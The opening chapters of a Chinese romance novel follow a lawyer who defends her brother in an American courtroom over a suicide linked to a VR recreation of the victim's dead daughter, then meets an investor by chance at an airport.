《惊鸿一掠十年灯》
1. 楔子
《惊鸿一掠十年灯》
文/史今朝
2021.1.1
纽约时间上午九点,虽未至盛夏,但受到温带大陆性气候的影响,整座城市依然被一层密不透风的热浪笼罩着。
窗外烈阳高悬,却难觅一丝蝉鸣。
池漾从一叠卷宗中抬起头,本意是想将目光投向窗外的葱葱绿荫,但目的地还未至,就被突如其来落入余光的身影拉回了视线。
来人一身剪裁得体的西装,外套随意搭在左边胳膊,金丝眼镜的金边,被投射来的阳光一漫,有点看不清他的眉眼。
漫不经心的动作,却处处透露着严谨的气质。
似乎是没想到顾锦泽会来,池漾眼中闪过一丝惊诧,但也仅仅只是一瞬。
她晃神的功夫,顾锦泽已经快步走到了她身边,长臂一伸,说:“咖啡。”
池漾道了声谢,抬手接过纸杯,任凭这股温流,流经掌心脉络。
顾锦泽在她身边坐下,看了眼她摊开在桌上的材料,斟酌着问:“真的不用我来吗?”
池漾抿了口咖啡,郑重其事地摇了摇头:“我来。”
言简意赅,却没留任何转圜的余地。
其实,她专业能力有多强,顾锦泽比谁都清楚,只不过这次的辩护对象,不是别人,而是她的亲弟弟。
他那说不清道不明的担忧,无形中滋生得越来越甚。
顾锦泽看着她的侧脸,犹豫片刻,还是含蓄地说出了自己的顾虑:“池漾,针对这次案件,我心里打的腹稿不比你少。”
“怎么?怕我不能胜诉?”池漾看出他如常面色下那抹不易察觉的担忧,言语间故意夹了丝调侃的意味,“你要是现在跟我说这个,那可真是太瞧不起我了。”
此话一出,顾锦泽知道是彻底劝不动她了,索性不再出力不讨好。
又过了一会儿,感觉时间差不多了,池漾垂眸看了一眼手表,然后利落地收拾好资料,起身准备入庭。
走了几步,似乎是想起了什么,她又突然转过身来,看着顾锦泽,说:“这次必须我来,否则我怕他一辈子都摆不脱这个莫须有的阴影。”
她声色柔亮,却自带一股笃定。
顾锦泽听着她不容置喙的语气,点了点头。
不过,在她的手掌触上门把的那一刻,他还是没忍住叫了一声:“池漾。”
池漾应声回眸。
顾锦泽站起身,眉眼间是与她如出一辙的笃定:“记住,哪怕天平失衡,我也做你的砝码,让它回正。”
-
走出准备室,池漾步履从容地穿过一条木质走廊。直到看到走廊尽头的那个身影,她忽然定住了脚步——
云锦书正站在那里。
外面是个大晴天,连带着整条走廊都是阳光满布,刺眼的甚至让人有些抗拒。可他站的那角天地,因为前侧建筑物的遮挡,恰好围成了一块四方的阴影。
身形高挑的翩翩少年,此刻正斜倚着墙壁,脊背微躬,拓入过路人眼中,是掩不住的颓然。
池漾整理好心情,大步走了过去。
云锦书听到脚步声,抬头看向她来的方向。
那个“姐”字刚叫到一半,他忽然收住了半开的唇,站直身子,改口叫了一声:“池律师”。
太不自然了,不自然到他还没叫完,就调转了视线。
池漾此刻完全进入了工作状态,语气冷静地开口:“交代你的都记住了吗?”
云锦书点头。
两人迈入法庭,在被告席就座。
虽然被交代过,但云锦书还是忍不住往台下的旁听席看,第二排正中间的座位上,詹姆斯穿着简单的棕色衬衫,正目光呆滞地望着前方。不过短短几天没见,他一下子像是老了十多岁,头发白得更加彻底。
就是这一幕,让云锦书做了这么久的心理建设,又在顷刻间坍塌。愧疚和自责如突发的洪水,瞬间漫溢至他心头的所有角落。
池漾余光一瞥,看到他颤抖着的双拳,用笔尖敲了敲他面前的桌面,轻声耳语道:“不要看他。”
-
九点过半,庭审在掷地有声的落槌声中拉开帷幕。
夏季的天总是变幻莫测。
一如此时,窗外再也不见刚才的烈阳高照,取而代之的是积云密布的天空,阴沉得似要落雨。
公诉方检察官陈述完他的诉讼请求,继而轮到池漾。
池漾针对对方的控诉,一一记录在册。
接着,她合上笔鞘,看着庭审团,开始辩护。
两人进行过第一轮陈述,在场的所有人都明白了事件的来龙去脉。
被害人黛西于一周前在家中身亡。
那一天,黛西的丈夫詹姆斯在国外出差,黛西一人独自在家。小区周边的监控记录显示,在她死亡之前来过家中的人只有云锦书。
经过尸检,判定死因是过量服用安眠药。
而黛西,并不具备单独离家去购买安眠药的能力,她双腿残疾,需要轮椅与陪护人才能外出。
安眠药的购买者,是云锦书。
公诉方的检察官叫安杰森,看起来三十多岁,肤色偏黑,浓眉大眼,操着典型的西部口音,将掌握的证据一一展出,包括云锦书和黛西见面的监控视频,以及云锦书的安眠药购买记录。
逻辑清晰地陈述完自己掌握的事实和证据后,安杰森最后总结陈词:“综上所述,我方认为,被告人具有预见到被害人死亡这一危害结果发生的能力,却没有预见到,还为被害人的死亡提供直接条件,致使被害人死亡。因此我方控诉被告人犯有过失致人死亡罪。”
-
云锦书垂头听着他的控诉,过往的一幅幅画面就如电影般,在他脑海中闪现。
四年前,当十六岁的云锦书以满腔的热情,骄傲地踏上这片大洋彼岸的土地时,他一定没有想到,迎接他的会是这样的结局。
那一年,他以全额奖学金被美国常青藤名校录取,攻读计算机工程。
繁华的波士顿寸土寸金,因此他选择了寄宿家庭,就是詹姆斯和黛西一家,夫妇两人待人和睦,因此相处得非常融洽。
他们那时候还有个四岁的女儿,名字叫爱达,是个非常可爱有趣的小姑娘。不过,命运并未垂青于她,那年的爱达,还没迎来圣诞节,就出了意外,年幼的生命抱憾离世。
爱达离世后,黛西换上抑郁症,詹姆斯也无暇再顾及寄宿家庭的事情。
于是,云锦书和另外一名寄宿同学就从他们家里搬了出来。不过,云锦书依然和他们保持着联系,甚至义务帮黛西联系心理医生,也经常挤出时间过来陪着黛西,和她聊天。
但天不遂人愿。
前年,黛西单独外出时因为太过想念女儿而走神,以至于没注意到来往的车辆,出了车祸,双腿瘫痪。
本来那么幸福美满的家庭,却接连遭受重创。
黛西的精神状况与身体状况再次急转直下。在美国,不管是看心理医生,还是做身体康复,都需要不菲的费用。因此,为了钱,詹姆斯开始了更为忙碌的工作。
云锦书知晓实际情况后,便更加频繁地抽出时间,来陪伴黛西。
黛西是无意间知道,云锦书在进行着的科研项目——VR(VirtualReality)技术,即虚拟现实技术。
本来这只是一个再寻常不过的聊天话题,直到黛西问了句:“那我有没有可能通过这个方式,再次见到我的女儿爱达?”
听到这个问题,云锦书迟疑了。
不是不可能,虽然技术上还有些稚嫩,精细程度需要改良,但想要实现这个想法,并不难。
他迟疑的原因,不在于技术,而在于——
这种见面,太残忍了......
见过之后呢?
是更有生的希望?
还是更有死的勇气?
黛西却不肯放弃,一再坚持:“不管是什么形式,能不能让我见爱达一面,哪怕就一面,哪怕是假的,拜托你了,这样我才有活下去的动力。”
云锦书看着黛西的泪眼,思索再三点
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了点头。
之后,他在实验室熬了不知道多少个通宵,终于完成了这个项目,随后,他便带着这副VR眼镜去了黛西家。
黛西通过发达的科学技术,于熟悉的日常生活场景中,见到了活灵活现的女儿。
会蹦的,会跳的,会哭的,会笑的。
最重要的是,和记忆里,如出一辙的。
虽然知道那是假的,虽然知道那只是影像。
但是,这样的见面方式已经足够让她惊叹,也让她欣喜不已。
云锦书看到她脸上的笑容,突然之间有种释怀。
结果,当天晚上,黛西于家中自杀。
云锦书收到法院传单,万不得已给池漾打了电话。
她于会议中仓皇跑出,定了最近的机票,飞往波士顿。
顾锦泽放心不下,与她同行。
-
听完安杰森的控诉,池漾神色从容地看了一下评审席,罗列好证据之后,针对其中的控诉点一一进行辩护。
“第一,就认知能力来说,我方当事人正是因为预见了被害人情绪不稳定可能会做出冲动行为这一事实,所以才会竭尽所能地帮助她,甚至自费请心理医生为她进行心理疏导。屏幕上显示的正是黛西与我方当事人的聊天记录,以及心理咨询的费用清单。因此,我方当事人对可能预见的危害行为,做出了规避和预防。
“第二,就行为本身危害大小来说,我方当事人购买安眠药这一行为完全符合美国医药局规定,并且购买安眠药这一行为,是死者以失眠为由主动委托我方当事人进行的。结合现场勘查结果与尸检报告,可以发现死者服用的安眠药并非出自同一厂家,并非完全由我方当事人进行购买,这一点不构成犯罪事实。
“第三,就当时的客观情况来说,我方当事人更是无罪。因为被害人死亡这一事实,完全属于被害人自陷风险导致的。首先,被害人对危险有认知能力,并且能够认知到。其次,被害人对危险的存在与发展具有控制能力。被害人死亡时间为当晚九点,而我方当事人在八点前就已经离开,因此服用安眠药这一行为属于被害人的自主行为。在这种情况下我方当事人无罪。
“综上,对方的控诉不符合‘犯罪事实清楚,证据确实充分’这一标准。我方当事人在得知被害人身患抑郁症之后,竭尽全力在为其提供帮助,没有害人之心,更没有害人动机,没有违反任何一条法律法规,更没有剥夺被害人可以享有的任何权利。
“被害人服用安眠药致死,我们每个人都深表惋惜,但杀死她的,并不是安眠药,而是她决心服用安眠药的那个契机。而这个契机,很明显,与我方当事人无关。我方当事人的行为,甚至为被害人延长了生命的期限。”
安杰森步步紧逼:“那么请问辩护律师,促成被害人死亡的契机究竟是什么?根据尸检报告,被害人死于当晚九点,而被告人八点才从被害人家中离开,被害人死前也未会见除被告人之外的其他人。因此我们有理由认定,是被告人的行为,促成了被害人服用安眠药的契机。”
池漾镇定自若:“任何事情都讲究证据,请不要用所谓的猜测来判定事情的真相。”
安杰森似乎就是在等她这句话。只听他清了清嗓子,不疾不徐地开口:“证据当然有,据检察方调查,被告人那天来被害人家时,带了一个东西,如屏幕所示——”
闻言,众人的目光纷纷看向屏幕,包括池漾。
看清屏幕上的东西之后,她眉心倏地一跳。
屏幕上显示的,正是那副VR眼镜。
与此同时安杰森的声音在耳边响起:“这是被告人就读学院实验室里的一副AR眼镜,经过我们的指纹分析,我们发现这上面有被害人的指纹,并且通过计算机仿真系统,我们发现被告人曾经通过AR技术复原过被害人逝去女儿的影像,而他带着AR眼镜去被害人家的时间,就是被害人自杀那一天。”
举座哗然。
池漾感觉脑海里有根弦,砰的一声断了。
耳边震耳欲聋,瞬间敛为无声。
2. 怦然
庭审结束,池漾与顾锦泽坐上回国的航班。
飞机慢慢爬升至巡航高度,或许是飞机离地给了池漾终于离开这片土地的真实感,她刚才尽力掩藏的慌张与恐惧,在此刻如涨起的潮,寻得肆意之机,开始疯狂蔓延。
她狠狠闭上眼,想要把这些情绪都清零。
却好像见效甚微。
这次来的匆忙,国内的案子一直压着。想到这儿,池漾打开手机,想要利用上面存档的资料来工作,顺便转移一下注意力。
顾锦泽眼神往右一瞥,看见她手机上显示着的英文合同,微微蹙了下眉。
然后二话不说,果断地从她手里把手机抢了过来。
池漾不解地看向他。
顾锦泽越过她身前拉上舷窗,“这案子来得及,不差这一时半会儿,先睡觉。”
池漾倏地笑了。
机舱里很安静,他的这句叮嘱像是一团柔软的棉,轻轻悬浮在半空。
池漾看着他,故意打趣道:“顾总,您这心理素质可不太行啊。”
顾锦泽挑眉看她。
她接着解释:“太体恤员工,这可不利于公司价值的最大化。”
“呵,”顾锦泽轻笑一声,“谁说我体恤员工了?我是想你休息好了,然后更好地为公司卖命,你也是合伙人之一,你要是累趴下了,那些活儿还不得让我干。”
池漾笑了下,没继续坚持,但也没闭上眼睛。
她想对顾锦泽说声谢谢,但又觉得,这声谢意,太过微不足道。
顾锦泽看出她的欲言又止,开玩笑说:“池大律师,大不了到时候我工作做得多一些,就当是作为这次美国之行的报答,所以不用觉得亏欠我,知道么?”
就是这份大大咧咧的体贴,给池漾一种更加无处遁逃的感觉。
她心里明镜般清楚,她哪里有资格跟他谈报答?
顾锦泽和她一起远赴美国处理私事,推掉了多少工作另说,单就时间成本来算,她都承担不起。
可这个人,像是无所谓一般地说出,我就当这次来美国是度假了,我享受着呢。
全然不算自己的辛勤付出。
机舱内很安静,所以他们说话的声音压得很低。
但即使这样,池漾的声音还是引起了后座男士的注意。
纵然她说话声很小,甚至小到几不可闻,但白清让还是一下子就捕捉到了。
太相似了,太熟悉了,太不可思议了。
头顶昏暗的灯光粼粼而落,无形中给整座机舱烘托出了一种怀旧电影的氛围,以至于白清让一时失神到,还以为自己是在做梦。
此时舷窗外暮色西沉,飞机正穿越北美大陆,沿着航线飞向西北。
打破他睡梦的,是机舱内的一则紧急广播。
没有任何预兆地,一道女声穿过电流,响彻在机舱上空,快速的播报声中,带着掩不住的焦急。
“现在播送一则紧急广播。请问乘客中是否有医生,现机舱内有一六岁儿童,突发呼吸不畅,急需紧急救治。”
接着是英文。
接着又是中文。
循环播放了好多次。
从睡梦中惊醒的人们,本来还带了些怨气,但听到播放内容的那一刻,所有抱怨又瞬间置换成了担心。
池漾睡得浅,播报声一响,她就立马睁开了眼睛,关注着机舱里的情况。看着乘务长在头等舱跑了好几个来回,池漾猜测着她应该是和机长商量对策去了。
不知道是第几次,当乘务长再次从驾驶舱离开的时候,另一位乘务员着急忙慌地从后舱跑了过来。
两个人在池漾后面一排的过道里站定。
“最近的机场需要多久才能到达?”
“最少也得一个小时,机长正在尽力与空管联系。”
“可是那位病人状况越来越严重了啊!”
“那怎么办啊?唉!怎么这么不凑巧,这次飞机上一个医生都没有。”
这些对话悉数落入池漾耳中。
下一刻,她突然侧身,举起左手示意了一下乘务员,然后轻声问了一句:“你好,我想请问一下,那个病人具体是什么症状?”
不是梦!
白清让瞬间反应过来,那个他刚才错认是梦的声音,不是梦。
不仅不是梦,而且近在耳畔,近得触手可及。
他条件反射般迅速抬头,映入他眼中的,是一节细嫩如葱白的手腕,上面扣着一个精巧简约的腕表,在灯光下泛着一层柔和的光。
他的目光就此定在那一寸方隅,再也挪不开眼。
尽管那节手腕早已放下,不见踪影。
与此同时,乘务员已经走到池漾这一排,大概描述了一下小孩的特征。
说完之后,她问:“请问您是医生吗?”
闻言,池漾正解安全带的手突然顿住了,淡淡说了句不是。
乘务员心间刚升起的一丝希望,又瞬间消退了下去。
顾锦泽全程目睹了这场对话,不知道池漾打算做什么。
就在这时,池漾像是突然下定了决心,一把解开了安全带,“我不是医生,但我的家人是,我从小耳濡目染,有一点经验,现在飞机上也没医生,我可以去看看吗?”
乘务员似是犹豫了一下,最后还是站在一旁的乘务长大步走上前说:“那麻烦您跟我来。”
顾锦泽微微侧身,给她让出位置。
池漾站起身来,穿过机舱走道。
与此同时,她的清秀身影,一帧不落地,拓进了白清让眼中。
-
过了大约十分钟,池漾才回来,顾锦泽问她情况。
池漾说:“突发哮喘,本来孩子妈妈带了沙丁胺醇,但因为是喷剂在过安检的时候被没收了,好在飞机上备有哮喘急救药,现在已经没事了。”
顾锦泽听着她镇定自若的讲述,放下了担心。
但好奇心没有放下。
工作这么多年,通过对方眼神看出对方内心的这点默契,俩人还是有的。
池漾没等他追问就解释道:“我外公是医生。”
“怎么从没听你提起过?”
这是第一次,顾锦泽在她口中听到她外公。
“去世了。”
短短三个字,好像是从尘埃里升起来的那样,以至于在高空听来,极为悠远,又极不真切。
池漾目光转向窗外,看着苍茫的夜色。
没等顾锦泽开口,她又主动加了一句,“不用说对不起,我没关系。”
顾锦泽张到一半的嘴,硬生生吞进去了就要脱口而出的“对”字。
-
十三个小时后,飞机准时降落在京溪国际机场。
飞机停稳后,顾锦泽就关闭了飞行模式,随即各种消息就如雨后春笋般冒了出来。
纷繁复杂的工作事项里,还夹杂着类似“什么时候回家吃饭?”这种家常的问候。
顾锦泽无心理会,直到看到置顶的工作群里的消息,他快速扫了一眼,然后转头对池漾说:“布鲁斯提前来中国了。”
池漾听到这个名字,瞬间转移到工作状态,确认道:“唐智资本的布鲁斯?”
顾锦泽点点头:“提前过来,应该是想私下谈判。徐律已经在来机场的路上了,估计是以为咱俩赶不回来。”
池漾:“让他回去吧,这案子一直都是我盯着的,你让他把航班信息发给我就好。”
她话音刚落,顾锦泽已经给徐滨松发完微信,顺带着拿到了布鲁斯的航班信息。
一秒不差。
顾锦泽在她面前晃晃手机,池漾轻抬眉眼,两人会心一笑,处处透露着不用言说的默契。
下机后,池漾和顾锦泽站在行李传送带旁等行李,没等一会儿,顾锦泽就说:“行李我帮你拿,你先出去,看看布鲁斯的航班到了没?”
池漾点点头,把机票递给顾锦泽,然后就快步走了出去。
她出来的时候,到达点的人还很少。她一心张望着机场的航班信息表,无暇顾其他。
“爸爸!”
直到这一句奶萌奶萌又相当有气魄的叫喊声冲破耳际,她才忍不住低头寻找声音的来源。
一个扎着双马尾,穿着红色连衣裙的小女孩正一脸幸福地朝她这个方向奔来。
红扑扑的小脸蛋,笑盈盈的大眼睛,还有她伸展着双臂奔跑的样子,惹得池漾心间一颤。
她没舍得挪开目光,下意识地低头追随了一会儿这个小女孩的身影,嘴角自然而然地浮现出一抹笑意。
小女孩一边跑一边喊,轻轻擦过她的裙边,笑着向后跑去。
池漾收回视线,没再往后张望。紧接着,她的目光由地面一寸一寸地向上攀爬,继续寻找着布鲁斯的航班信息。
忽然之间,砰的一声,心里有根弦好像颤了一下。
喧闹的机场,瞬间归于万籁俱静。
——一个身影,毫无
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预兆地撞进她的视线。
该如何去形容这一刹的怦然?
是精心算计的百密一疏,还是跌入深渊的星罗棋布。
好像都词难达意。
池漾怔在原地,感觉全身被一股神奇的力量牵引,脚步动弹不得,目光也动弹不得。
往来过客流逝成延时镜头,瞬间模糊,遁入黑白的胶片。
悬顶的灯光把机场大厅照的光亮如常,那个人一袭黑色西装,孑然而立于熙攘人群中,任凭拔地而起的风把他的身形削得利落又笔挺。
抓不住的似曾相识感,在她心间一晃而过。
顾锦泽取完行李,看到池漾站在那里动也不动,以为她还没找到航班信息,于是开口提醒着:“布鲁斯已经到了,在A口。”
“哦、哦、好。”她心神不宁地应了一声,随即匆匆地追上了顾锦泽的脚步。
与此同时,白清让牵着白念笙走到席砚卿面前,叫了他一声:“砚卿。”
结果,席砚卿像没听见似的,目光直直地盯着某处。
察觉到他的反常,白清让也循着他的目光往同个方向看——忙碌的机场里,所有人都在赶路,正常得不能再正常的景象。
最后,将席砚卿拉回现实的,还是白念笙的一句:“小叔,我接到爸爸啦,我们回家吧。”
说完还拽了拽他的衣角。
席砚卿这才瞬间回神,撂下一句“你们等我一会儿”就大步跑了出去。
拐角那端,是面积更大的地方,数个到达点依次分布开来,穿着各司制服的工作人员和熙熙攘攘的来往乘客,正在进行着毫无规律可言的不规则运动。
席砚卿找了很久很久,跑遍了每一个角落,都没有找到那个熟悉的身影,只好无奈折返。
见他回来,脸上还带着罕见的落寞表情,白清让问了句:“怎么了?发生什么事儿了?”
席砚卿随便扯了个借口:“没事,刚看见个熟人,过去打了声招呼。”
白清让注意到他一身西装革履的装扮,摇了摇白念笙的手掌,话语间带着些微的愠气:“笙笙,你是不是又去公司找小叔了?爸爸有没有跟你说过,小叔工作很忙,不要随便去打扰小叔。”
白念笙特别委屈地嗯了一声。
随即愧疚地垂下眸来,两个马尾辫也恹恹地垂下,像霜打的柳叶。
席砚卿笑着蹲下来,迎上她的目光,好声好气地安慰:“是小叔想笙笙了,才带着笙笙过来的,对不对?”
白念笙没说话,只不过心里的那点委屈好像更深了。
明明是她主动去找的小叔。
小叔还要帮她说假话。
她嗯也不是,那岂不成了撒谎的坏孩子。
可是,她又不想让爸爸生气......
于是,白念笙一边用余光瞄着爸爸,一边在席砚卿耳边小声地嘟囔了一句:“谢谢小叔。”
席砚卿被他这个小侄女逗得忍俊不禁,起身拍了拍白清让的肩膀,笑道:“行了,好不容易从国外回来,就别端着了。”
白清让笑出声来,二话不说就抱起了女儿,满眼疼爱地问:“想爸爸了没?”
白念笙止不住地狂点头。
说完又看向席砚卿,问:“公司最近忙不忙?是不是刚从会议上下来?”
席砚卿替他拉上行李箱,说:“还好,会议开完才来的。”
“你啊,别让自己太累了。”
席砚卿笑起来,“你就比我大三岁,怎么说话一副老父亲的口吻。”
白清让毫不留情地回怼:“我家笙笙都六岁了,你怎么还孤家寡人呢?”
“......”
这样的旁敲侧击,早已不是第一次上演,席砚卿早已养成了充耳不闻的能力。
可这次,他却生出一种别样的感觉。
就好像,心里缺了一块儿,忽忽地往里灌着风。
这风从何而来,他说不清。
他只是本能地放慢了脚步,回头望了一下。
那个拐角,依然像个冷漠的看客,隔绝了两端的风景,赶路人一错身,便再难觅踪影。
刚才的对视,有多悸动,现在的心情,就有多失落。
他生平第一次抱怨,一些无辜的设定。
例如,机场为什么要把拐角设得那么近?
近到他还没反应过来,就任凭她消失在人海。
这城市这么大——
他们,还会遇见吗?
3. 曲线
时间一向潇洒,头也不回地向前狂奔着。
那场意料之外的相遇,早已成为过去时态。
半个月一眨眼就这么过去。
唐智资本完成对铭达的股权并购,在资本市场上掀起轩然大波。
池漾所在的蓝仲律师事务所全程参与了这场并购,专业程度收获赞誉无数,在业内名声大噪。
顾锦泽和池漾在机场送别布鲁斯,这个案子终于可以告一个段落。
从机场回去的时候,夜幕早已降临,车窗外路灯渐次排列,连成一条归家的桥,严丝合缝地缀满了整条街。
顾锦泽开着车,用余光瞥了一眼昏昏欲睡的池漾,轻声问了句:“困了?”
池漾轻抬眼睫,嗓音带了丝沙哑:“你知道我现在最想去哪儿吗?”
“去哪儿?”
“南极。”
顾锦泽知味地笑了笑:“怎么着?这是要去过极夜?”
池漾认同地猛点头:“到底是我亲师哥,也就你能get到我的点。我现在就想睡他个昏天黑地,别的什么都不想。这连着两周过的跟极昼似的,我还以为我去北极旅游了。”
顾锦泽对她这番说辞倒是颇为赞赏:“不错,很善于苦中作乐,能把加班看做在北极旅游。”
池漾无可奈何地耸耸肩,终究没忍住打了个哈欠。
见状,顾锦泽随手把空调温度调高,想让她睡一会儿。
结果,就在她快要睡着的时候,手机铃声相当不合时宜地响了起来。
池漾拿出手机看了一下来电显示,是个陌生的本地号码。她看了眼,随即按下接通键,礼貌问道:“你好,请问哪位?”
手机那端安静一秒,然后传来了清晰的挂断音。
池漾:“......”
顾锦泽察觉到一些不对劲,问了句:“这么晚了谁的电话?”
池漾茫然地看着手机屏幕上的这个号码,说:“不认识,应该是打错了吧。”说完把手机重新放回包里。
“这电话打的真是时候,刚来的睡意一下子没了。”池漾嗔怪了句。
不过事已至此,她也没强迫自己再次入睡,只好顺手打车车载音响,选了几首小提琴曲来听。只需片刻,悠然静谧的旋律便盈满了车内。
顾锦泽看她不困了,这才问她:“对了,那件事你考虑的怎么样了?”
池漾一下字没反应过来:“哪件事?”
“就是前一段,电视台邀请我们去做一档法律节目。”
经顾锦泽这么一提醒,池漾才想起来好像是有这么一回事。
前一段有电视台的工作人员来律所谈论合作事宜,池漾听了一嘴但没在意,这种抛头露面的活,她一向都是避而远之。
“我当时不就拒绝了吗?考虑什么?”
“他们强烈建议让你也参加。”
“为什么?”
“说你这张脸,站那儿就是收视率。”
听到这儿,池漾笑了下,打趣道:“那我更不用去了。”
顾锦泽一边打着方向盘一边用余光看她,“这话是怎么个意思?”
池漾一脸淡定地回:“收视率这事儿,靠您一个人就能完成。”
顾锦泽听着她不露声色拍的马屁,嗤然一笑:“这个节目真挺好的,不管是从专业度、立意,还是知名度来说,都是上乘之选——”
“师哥,”池漾故意打断他,“这节目编导是你女朋友?”
顾锦泽:“......”
他就不该指望她那个榆木脑袋能开窍。
看着顾锦泽一脸吃瘪的表情,池漾笑得那叫一个欢实,轻啧了声:“你说说现在这都什么世道啊,连顾大律师都需要出卖色相来博取关注了。”
顾锦泽轻哂一声,将计就计地顺着她的话往下接:“池律师金屋藏己,不舍得露面,迫不得已只有我亲自上场了。”
池漾:“......”
“怎么不说话了,刚才不还挺能说?”顾锦泽嗓音慵懒,唇角浮着笑意,“你都不知道那些客户见了你,都在背后骂我金屋藏娇。”
听到这个词,池漾愣了下,神色随即恢复正常,笑着说道:“哪个客户说的?下次见了面告诉我一声,我免费给他普及一下中华传统文化。词语最忌讳乱用,这在法律上可是大忌。”
顾锦泽:“......”
这姑娘估计是榆木他爹的脑袋。
半个小时后,顾锦泽把车开到池漾家楼下。
池漾解开安全带,正准备下车,顾锦泽忽然叫住她:“那个节目的事情,真的不考虑考虑了?”
“咱俩都去的话,你想累死徐律师啊。”池漾坚决拒绝着,临了还不忘调侃一句:“所以,顾总放心地去镜头前耍帅吧,大后方就交给我和徐师哥。说不定耍的好,还能给我们带个老板娘回来。”
顾锦泽:“......”
他无奈地揉了揉眉心,然后像突然想起什么似的,追问了句:“对了,你明天是不是要去朝杨大学?”
池漾点点头:“不过就是过去了解一下情况,应该不会耽误太久,我完事儿就回律所。”
顾锦泽左手撑着方向盘,揣度着问:“所以,这才是你不去上电视节目的理由吧?”
没等池漾说话,他又自顾自地接上一句:“怪我,忘了你要去朝大任教的事情。这么多事情,确实忙不过来。”
池漾听了,也没反驳。
“快上去吧。”顾锦泽催促道。
“嗯。”池漾应了声,转身迈上台阶。
芊芊细影,与皎洁蟾光交相辉映。
顾锦泽抬头望着,等到她家的那盏灯亮起,才启动车子离开。
-
回到家已经快九点了,池漾洗了个澡,把头发擦到半干后,走到阳台上,等自然风晾干头发。
十一层的楼高,视野极佳,目光越过几栋楼宇,能看到不远处有条护城河,河边的灯盏渐次亮起,似一条金色的腕带,横卧在夜色之中。
池漾双手撑着栏杆,仰首沐在星光中的夜。
过了会儿,她忽然觉得哪里有点不对劲儿。
——今天的小区怎么这么安静?
按照往常这个点,楼下肯定有很多遛弯唠嗑的人,可今晚,连平常最热闹的绿荫道,都是空空如也。
今天是什么特殊的日子吗?
她拿起手机看了眼日期,才发现今天已经六月六号了。
明天,就是一年一度的高考日。
思及此,她瞬间明白了今晚小区这么安静的原因。
刚才回来的路上,她还惊讶,昔日里灯红酒绿、推杯换盏的酒吧一条街,怎么冷清那么多,现在想来估计也是因为高考的原因。
每到这两天,所有车辆禁止鸣笛,公安、交通等相关部门全部严阵以待,整个社会,都心甘情愿地为高考考生让步,去助力他们完成这场特殊的战役。
高考这个字眼,离池漾已经太过遥远,但每每回想起那段时光,依然会让人心潮澎湃。
于这澎湃的心绪中,她再次,没有任何来由地,回想起半个月前在机场遇见的那个人。
当时的他,没有任何预兆地撞进她的视线。
她来不及反应,只好任凭他的身影落在自己的目之所及。
这算是,一种本能的占有。
可现在,那场相遇早已随着时间的推移成为过去时。
奇怪的是,那幅画面非但没有模糊,反倒像是蒙上了一层高清滤镜。
噪点渐次褪去,画质愈发清晰。
当时的他以整体入画,而现在,他的模样,在她的细心回顾中变得具体而微。
机场悬顶柔和的灯光,恰如其分地勾勒出他凛然的轮廓。乌发朗眉下,映着的是一双漆黑纯粹的眼瞳,鼻梁挺拔,唇峰轻抿,下颚线棱角分明。
这副骨相,初看会让人觉得有些距离感。但细看,一眉一眼间,皆似工笔描绘出的生动,组合在一起,效果实在是太过惊艳。
他身材高瘦挺拔,穿着一身黑色西装,气质清冷矜贵,站在人群中自成一派利落风景。
轻而易举地,就让旁人自动沦为了,布景和陪衬。
最开始的时候,他稍稍低着头,眉眼微敛,不知在追寻着谁的身影。
直到后来他才抬起眸来,于无意间对上她的目光。
与她对视的那一刻,他眼睛里原有的那抹春风渐褪,慢慢置换成一种难以言说的深刻。
熙攘人群流逝成
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远景,他却像是特写,眼底似是有开关,自带请君入席的特效。
一定是那时候的钟摆,在奔走的途中,脚步打了滑,让时间放慢了些。
否则,该如何解释,那个对视明明只是一瞬,她却觉得,漫长得像是放了一部电影。
片尾曲响起的瞬间,一种名为宿命感的东西,于她心间穿堂而过。
往事一衬,月色顷刻间更浓了。
池漾忽然有些矛盾。
她从很早的时候开始,就立志要做一名律师。那时的她,字还没有认全,更无从谈起,对这个职业的了解与信仰。
她对这份职业的所有认知,建立在冰冷又刺骨的事实之上。
她只是近乎偏执的认定,成为一名律师,才能保护好想要保护的人。
让他们不受伤害。
不论这伤害是来自远洋的汹涌海风,还是长在身旁的陈锈倒刺。
从小埋下的种子,被勤勉与坚持浇灌着成长,诞育出她的果敢与韧劲。
所以她最擅长的,便是从矛盾丛生的现实里,抽丝剥茧出一脉相承的逻辑链条。
然后循着这条逻辑链,找出利益相关者的软肋,再逐个击破。
理性是她的保护色,也是她走到今天最有力的武器。
所以,这场预料之外的相遇,于她来说,脱离了章法,脱离了逻辑,是一个太过陌生的命题。
她解答不了。
但她又太想,要个答案。
-
时间是这世上最公平的东西,对所有人都一视同仁。
席砚卿办公桌上的投资意向书换了一轮又一轮,他还是没能再遇见她。
他承认,他后悔了。
这是个可怕的心境,资本市场玩得就是心理战,后悔这种太过私人的情绪,对资本操纵者来说就像个定时炸.弹,稍一踌躇,就有可能满盘皆输。
红绿相间的趋势图投放在屏幕上,各个区的负责人正在做本月的工作总结。
席砚卿看着这些含义丰富的曲线,深知每一个拐点背后,都裹藏着一场看不见的血雨腥风。
他从始至终都是一贯的淡然神情。
直到最后,听完各区的工作总结,他才撑着桌面站了起来,看着趋势图上的一个拐点,嘴角扯出一丝轻笑:“在座的各位都是我老师。”
会议室里的各位突然噤了声,默契的战战兢兢。
这话,肯定不是字面上的意思。
果不其然,紧接着就是一句:“教会了我太多想都想不到的错误。”
字字见血。
气氛安静得诡异。
他朝屏幕走了两步,细长手指指向屏幕上的那个拐点,不怒自威道:“就因为你们的犹豫,我们付出的代价整整多出了两倍。”
会议在惯有的强压中结束,天色已晚。
席砚卿回到办公室,忍不住揉了揉眼角,盯了一下午的趋势图,眼前出现的幻影都是一条条黯青色的曲线。
等等,有个词叫什么来着?
曲线救国?
下一秒,他立即拨通内线,敲门声很快就响起,进来的是他的特助,钟离声。
席砚卿用眼神示意他坐。
钟离声在他面前坐下,席砚卿双手抱在胸前,挑眉看他,下巴微扬着问了一句:“我听说,我最近好像在传媒圈挺有名的?”
钟离声倒是没想到他会问这个,眼眸里闪过片刻的惊讶,他清了清嗓子,一本正经地回道:“去掉最近,去掉好像,就是事实了。”
席砚卿一向低调,从来不接受媒体采访。可奈何网友太强大,他去美国参加金融峰会的图片一流出,就凭着那张脸引起了极大关注,虽然只是一张模糊的侧脸照。
钟离声试探着问他怎么突然开始关心起这个了。
席砚卿定了定眸,缓缓开口:“给我安排一个采访,必须是主流媒体,收视率要高,主持人要专业。”
他深谙资本市场的游戏规则。
同时也深谙,在感情世界里,你不回眸,才是注定满盘皆输。
但如果回眸,发现那个人已经消失在人海了呢?
——那我就赌一把,赌她会来找我。
我把旗帜给你,风声你来捕。
4. 侦探
翌日,六月七号。
